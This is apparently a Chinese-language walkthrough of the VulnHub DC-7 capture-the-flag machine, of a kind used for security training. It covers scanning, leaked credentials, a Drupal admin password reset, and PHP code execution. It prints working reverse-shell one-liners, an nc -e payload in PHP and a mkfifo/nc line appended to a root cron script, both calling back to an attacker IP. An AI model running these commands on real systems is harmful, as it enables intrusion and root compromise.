赞
踩
靶机下载地址:https://www.vulnhub.com/entry/dc-7,356/
将下载好的靶机导入到VMware虚拟机中,设置网络模式为NAT模式,开启靶机虚拟机
使用nmap进行主机发现的扫描,命令nmap -Pn 192.168.172.1/24
扫描到靶机IP后再使用nmap扫描靶机的操作系统,开放端口和对应服务等信息,命令nmap -T4 -A -p- 192.168.172.146
发现靶机开放22端口ssh服务和80端口的http服务
然后直接在kali机打开浏览器输入地址http://192.168.172.146
进行访问
这里给到一些提示,同时也看到这应该是一个基于Drupal CMS的网页,然后又在搜索框这里试了一下注入啥的,好像没用
这里有登录框,随便输入试一下,没有什么特别的反应
暴力破解也没啥用,使用drupal的exp也没用了,网站首页提示我们要跳出框框思考,要开一开脑洞,然后又发现主页多出了一个这个东西
然后去百度或者Google里面搜索一下,,果然发现惊喜
发现一个staffdb的源码文件夹,这应该就是DC-7的突破口,然后我们直接点击staffdb查看源码
有这么多源码文件,所以我们先从比较典型的看起走,先看config.php吧,直接点开查看
点开就发现了账户名和密码,然后我们使用这个账户名和密码在网页登录处登录,但是登录不了诶
然后我们尝试一下使用ssh连接靶机试一试,惊奇地发现竟然成功了
查看一下dc7user目录下有没有什么文件或者目录,发现真有,backups目录和mbox文件
然后查看mbox文件
发现在/opt/scripts/目录下存在一个可执行文件backups.sh,并且发现每隔15分钟就会备份一次
现在进入backups目录查看,存在两个gpg文件
没什么用,然后又进入/opt/scripts/目录,等等,这里还提示了you have a new mail in /var/mail/dc7user,我们进入/var/mail目录看看
也是备份文件,没啥用,,然后又回到/opt/scripts目录下,查看文件backups.sh,命令cat backups.sh
百度了发现drush是专门用来管理drupal站点的shell,可以用来修改admin账户的密码,使用命令drush user-password admin --password='admin
,修改admin账户的密码为admin,这里需要回到/var/www/html目录下命令才可以执行成功
然后到网页处使用账户密码admin和admin进行登录
登录成功,然后在Content—>Add content–>Basic page下,准备添加PHP代码反弹shell,但发现Drupal 8不支持PHP代码,百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入
然后点击Manage,再点击Extend,再点击Install new module
在这里输入插件地址,插件地址为
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
插件地址在这里查看寻找https://www.drupal.org/project/php,这是PHP插件的介绍页,然后点击install进行安装
安装成功即可
然后点击【extend】,看到这里多出来一个php filter,勾选上
然后向下翻,找到并点击install
先点击【admin】,再点击【view profile】,回到这里
然后再点击【home】回到主页面
然后点击【Edit】
先在这里选择PHP code
然后在body里面写入测试代码<?php phpinfo(); ?>
,点击【save】,可看到代码执行成功
代码执行成功
然后修改代码,写入反弹shell的代码,先在kali中使用命令nc -lvvp 1234
进行监听
然后回到网页主页面,点击【Edit】,修改刚才的代码为<?php system('nc -e /bin/bash 192.168.172.131 1234'); ?>
,点击【save】
kali这边已经成功连接
但是这个shell是非交互式的shell,所以使用命令python -c "import pty; pty.spawn('/bin/bash')"
,来获取一个交互式的shell
进入/opt/scripts目录下,在该目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件可以定时执行,所以可以用它来反弹shell
使用命令echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.172.131 2345 >/tmp/f" >> backups.sh
将反弹shell的命令写入到backups.sh文件中,当它定时自动执行时即可执行其中的反弹shell语句,即可反弹回shell,大概需要等待15分钟
反弹成功,且反弹回来的shell即为root权限的shell,跳转到/root目录下可查看theflag.txt文件
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。